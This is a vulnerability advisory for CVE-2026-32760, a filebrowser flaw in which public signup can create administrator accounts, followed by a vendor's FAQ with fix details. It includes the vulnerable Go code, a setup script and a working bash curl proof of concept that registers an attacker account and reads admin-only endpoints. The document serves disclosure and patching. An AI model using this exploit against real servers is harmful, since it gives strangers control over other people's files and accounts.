CVE-2026-32760

Any unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the
new user without any server-side guard that strips admin from self-registered accounts.

Details

Affected file: http/auth.go

Vulnerable code:

user := &users.User{
    Username: info.Username,
}
d.settings.Defaults.Apply(user)

settings.UserDefaults.Apply (settings/defaults.go):

func (d *UserDefaults) Apply(u *users.User) {
    u.Perm = d.Perm
    ...
}

Settings API permits Admin in defaults (http/settings.go):

var settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
    ...
    d.settings.Defaults = req.Defaults
    ...
})

The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.

Demo Server Setup

docker run -d --name fb-test \
  -p 8080:80 \
  -v /tmp/fb-data:/srv \
  filebrowser/filebrowser:v2.31.2

ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin"}')

curl -s -X PUT http://localhost:8080/api/settings \
  -H "X-Auth: $ADMIN_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "signup": true,
    "defaults": {
      "perm": {
        "admin": true,
        "execute": true,
        "create": true,
        "rename": true,
        "modify": true,
        "delete": true,
        "share": true,
        "download": true
      }
    }
  }'

PoC Exploit

#!/bin/bash
TARGET="http://localhost:8080"

echo "[*] Registering attacker account via public signup endpoint..."
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  -X POST "$TARGET/api/signup" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Signup response: HTTP $STATUS"

echo "[*] Logging in as newly created account..."
ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[*] Fetching user list with attacker token (admin-only endpoint)..."
curl -s "$TARGET/api/users" \
  -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool

echo ""
echo "[*] Verifying admin access by reading /api/settings..."
curl -s "$TARGET/api/settings" \
  -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool

Expected output: The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.

Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account.
From there, they can:

• List, read, modify, and delete every file on the server
• Create, modify, and delete all other users
• Change authentication method and server settings
• Execute arbitrary commands if enableExec = true

The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access. Typical impact: privilege escalation beyond the intended level.

Kodem intelligence

1. What is CVE-2026-32760? CVE-2026-32760 is a critical-severity improper privilege management vulnerability in github.com/filebrowser/filebrowser/v2 (go), affecting versions <= 2.61.2. It is fixed in 2.62.0. The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access.
2. Which versions of github.com/filebrowser/filebrowser/v2 are affected by CVE-2026-32760? github.com/filebrowser/filebrowser/v2 (go) versions <= 2.61.2 is affected.
3. Is there a fix for CVE-2026-32760? Yes. CVE-2026-32760 is fixed in 2.62.0. Upgrade to this version or later.
4. Is CVE-2026-32760 exploitable, and should I be worried? Whether CVE-2026-32760 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-32760 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-32760? Upgrade github.com/filebrowser/filebrowser/v2 to 2.62.0 or later.